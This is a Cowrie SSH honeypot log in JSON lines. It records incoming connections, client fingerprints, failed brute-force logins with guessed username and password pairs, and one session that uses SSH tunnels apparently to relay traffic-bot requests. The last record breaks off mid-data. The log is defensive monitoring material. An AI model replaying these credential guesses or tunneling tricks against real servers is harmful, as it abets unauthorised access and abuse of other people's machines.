{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":39474,"dst_ip":"10.17.0.5","dst_port":22,"session":"85bf917e7af8","protocol":"ssh","message":"New connection: 91.92.40.36:39474 (10.17.0.5:22) [session: 85bf917e7af8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:08.222797Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:08.661119Z","src_ip":"45.153.34.195","session":"adc1263432b7","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:08.758004Z","src_ip":"91.92.40.36","session":"85bf917e7af8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:08.761348Z","src_ip":"91.92.40.36","session":"85bf917e7af8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":51006,"dst_ip":"10.17.0.5","dst_port":22,"session":"b4c559209f9d","protocol":"ssh","message":"New connection: 45.153.34.195:51006 (10.17.0.5:22) [session: b4c559209f9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:09.874672Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:09.879405Z","src_ip":"45.153.34.195","session":"b4c559209f9d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:10.068029Z","src_ip":"45.153.34.195","session":"b4c559209f9d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1234567","message":"login attempt [admin/1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:10.243961Z","src_ip":"91.92.40.36","session":"85bf917e7af8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"budda","password":"QWE+df1df","message":"login attempt [budda/QWE+df1df] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:10.322124Z","src_ip":"45.153.34.195","session":"b4c559209f9d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:11.405744Z","src_ip":"45.153.34.195","session":"b4c559209f9d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:12.185706Z","src_ip":"91.92.40.36","session":"85bf917e7af8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":28700,"dst_ip":"10.17.0.5","dst_port":22,"session":"776feab47f3c","protocol":"ssh","message":"New connection: 45.153.34.195:28700 (10.17.0.5:22) [session: 776feab47f3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:12.858655Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:12.877465Z","src_ip":"45.153.34.195","session":"776feab47f3c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:12.958572Z","src_ip":"45.153.34.195","session":"776feab47f3c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"star","message":"login attempt [root/star] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:13.298954Z","src_ip":"45.153.34.195","session":"776feab47f3c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:13.457046Z","session":"8fcda4f697b8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:13.497135Z","src_ip":"173.208.188.210","session":"8fcda4f697b8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x033\\xe3\\xba\\x9f\\xc9\\x0c\\xa6W\\xfb|Z)\\x01\\xcb|\\x9b\\x1c\\x92(\\x87  \\xe7F4%\\xc5R\\x89-\\x12\\r \\x8b\\x1b\\xd7\\xd7\\x95c\\xe1\\xd6*4Z\\xda{ \\xe11~\\xad\\xad\\xbe\\x86\\xc8G\\xd2\\x1aU\\xb6UE,\\x8e\\x90\\x00 jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xda\\xda\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xda\\xda\\x00\\x01\\x00\\x00\\x1d\\x00 v\\x03eJ\\x11\\xc1J\\xffaq{\\xa4\\xd0\\x94\\x12|\\x15W\\xc1\\xc4\\xbbV]OAU2\\xee\\xcb\\xb2!\\t\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nZZ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":0,"message":"discarded direct-tcp forward request 0 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x033\\xe3\\xba\\x9f\\xc9\\x0c\\xa6W\\xfb|Z)\\x01\\xcb|\\x9b\\x1c\\x92(\\x87  \\xe7F4%\\xc5R\\x89-\\x12\\r \\x8b\\x1b\\xd7\\xd7\\x95c\\xe1\\xd6*4Z\\xda{ \\xe11~\\xad\\xad\\xbe\\x86\\xc8G\\xd2\\x1aU\\xb6UE,\\x8e\\x90\\x00 jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xda\\xda\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xda\\xda\\x00\\x01\\x00\\x00\\x1d\\x00 v\\x03eJ\\x11\\xc1J\\xffaq{\\xa4\\xd0\\x94\\x12|\\x15W\\xc1\\xc4\\xbbV]OAU2\\xee\\xcb\\xb2!\\t\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nZZ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:13.500119Z","src_ip":"173.208.188.210","session":"8fcda4f697b8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:13.511360Z","session":"8fcda4f697b8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:13.523632Z","session":"8fcda4f697b8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:13.544596Z","session":"8fcda4f697b8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:13.565647Z","src_ip":"173.208.188.210","session":"8fcda4f697b8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5) AppleWebKit/627.9.17 (KHTML, like Gecko) Version/9.1.2 Safari/627.9.17\\r\\nConnection: keep-alive\\r\\nContent-Length: 1168\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=R2VtRzJAVXhBY3RvQTdNRw%3D%3DTxzomHafJgGZ6ygnmgL5YCeuaCxvKlPdUYbj2FzntyX8%2F%2F0soqZaSPfe1YSY0bto9zaKhYygKA9Ek7hEIcpYLPH76Gd6u2R4KIPX03WvTRsxx83%2B4qppk3APIUAfPJtmwaBO%2FUDtrKOaX841Vid3d8m8HXYSflMmowcK5p69Z3D1o1FgcQOUDYTi2WrqBT3ue23bQYcTc9yJRTpGieMWSUm5np%2Fcbo4CjEMKjhB3XPEiRNbR2dMo7aJXJ%2BTSYkC%2B%2BtS3%2BH9jr%2BIZPB4sBODQTHzAqDDtBREKickuiPLHQlYAxSJL9SjKqAalWPoIFvHWtNwvoH8urOkbDqvzsPd6XEZh8SKsMq5bUgdeJx6YZoUcNWCm%2FTmO9wCC9wyZDrguThnAUhsuqs8NK%2FUEeNHYidjz1seEuLMXk2BzagBXHrHUcQGrvMsb29ZiIWdOlIKGUwwi9YyBkOrHfCfZ%2BUH5F50yva9%2BkgzvONhPeigloQreH7AmQxGYF8eaU6m3fnEKw6fTFkzlbbjArKrL%2FMy9JOjg6y10jUjPv1Sak%2FtHULgxUdJC6Xjnm6X1kmZ1y%2FnXbm2CxlK4xuzwv%2FUKwQpk0DgnKOFaYZMVWF%2FOKg4a7Hynr96luAsiUVjP9gNZPXaCB7Z7wdvQp%2FzhZGaMNwqz%2BJMY4zEZUTgIodgQYZq%2BzmiDVj8amzB0ppuvyJkwPyEn5XwNzdij4G2Sy6UWd5U3DMkj%2BwLTDUUKCwOZUkBRv6eA4PN10sMZI3fesE9%2FrgvUFxQzrQkBRG3FhCjFzwtlfAgsnsbqrnr46CywJGoDjIVSq7oqyJ%2BBFqXbgQ4mGgBSjZ%2BclpoRBJDIhMjm5pIiDv5uP71TZIZgU8DENp2QH0UkCQuRtrwYl7hOEJqvqQMEoJyclnDIXC4y3SxQhysc%2FtUk%2Bxuv7PbrII%2Byx48zvs5qt4cwfrag0M0y%2FxR%2BU0Scrto%2BJuMDRQhYLqtok%2FOZS2j5uOToMXbPeYFoZqFO%2BndbO1EjEuPwmmmCuFYe4r8gfh0WjpPGktdl10yDg2sg8F9b7lJPxizYlqrmn0oE054%3D'","id":2,"message":"discarded direct-tcp forward request 2 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5) AppleWebKit/627.9.17 (KHTML, like Gecko) Version/9.1.2 Safari/627.9.17\\r\\nConnection: keep-alive\\r\\nContent-Length: 1168\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=R2VtRzJAVXhBY3RvQTdNRw%3D%3DTxzomHafJgGZ6ygnmgL5YCeuaCxvKlPdUYbj2FzntyX8%2F%2F0soqZaSPfe1YSY0bto9zaKhYygKA9Ek7hEIcpYLPH76Gd6u2R4KIPX03WvTRsxx83%2B4qppk3APIUAfPJtmwaBO%2FUDtrKOaX841Vid3d8m8HXYSflMmowcK5p69Z3D1o1FgcQOUDYTi2WrqBT3ue23bQYcTc9yJRTpGieMWSUm5np%2Fcbo4CjEMKjhB3XPEiRNbR2dMo7aJXJ%2BTSYkC%2B%2BtS3%2BH9jr%2BIZPB4sBODQTHzAqDDtBREKickuiPLHQlYAxSJL9SjKqAalWPoIFvHWtNwvoH8urOkbDqvzsPd6XEZh8SKsMq5bUgdeJx6YZoUcNWCm%2FTmO9wCC9wyZDrguThnAUhsuqs8NK%2FUEeNHYidjz1seEuLMXk2BzagBXHrHUcQGrvMsb29ZiIWdOlIKGUwwi9YyBkOrHfCfZ%2BUH5F50yva9%2BkgzvONhPeigloQreH7AmQxGYF8eaU6m3fnEKw6fTFkzlbbjArKrL%2FMy9JOjg6y10jUjPv1Sak%2FtHULgxUdJC6Xjnm6X1kmZ1y%2FnXbm2CxlK4xuzwv%2FUKwQpk0DgnKOFaYZMVWF%2FOKg4a7Hynr96luAsiUVjP9gNZPXaCB7Z7wdvQp%2FzhZGaMNwqz%2BJMY4zEZUTgIodgQYZq%2BzmiDVj8amzB0ppuvyJkwPyEn5XwNzdij4G2Sy6UWd5U3DMkj%2BwLTDUUKCwOZUkBRv6eA4PN10sMZI3fesE9%2FrgvUFxQzrQkBRG3FhCjFzwtlfAgsnsbqrnr46CywJGoDjIVSq7oqyJ%2BBFqXbgQ4mGgBSjZ%2BclpoRBJDIhMjm5pIiDv5uP71TZIZgU8DENp2QH0UkCQuRtrwYl7hOEJqvqQMEoJyclnDIXC4y3SxQhysc%2FtUk%2Bxuv7PbrII%2Byx48zvs5qt4cwfrag0M0y%2FxR%2BU0Scrto%2BJuMDRQhYLqtok%2FOZS2j5uOToMXbPeYFoZqFO%2BndbO1EjEuPwmmmCuFYe4r8gfh0WjpPGktdl10yDg2sg8F9b7lJPxizYlqrmn0oE054%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:13.569166Z","src_ip":"173.208.188.210","session":"8fcda4f697b8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:13.595375Z","src_ip":"173.208.188.210","session":"8fcda4f697b8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xbeV\\xf1Y\\x89\\t\\xcc;\\xab\\xffd\\x92=^3\\xc9\\xb76\\x9c#dQ\\x93t\\x86\\x8cb\\xab\\xe7\\x82\\x10\\xfe [1\\xe1\\xc5|\\x92\\x90\\x8e\\x8e\\xc89\\x90t\\xe2]^\\xbe\\xceMQiV\\xaa\\x0b\\xe4\\xb5\\xe2\\xdbQ\\x9b\\xee\\xb3\\x00\"\\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xca\\xca\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 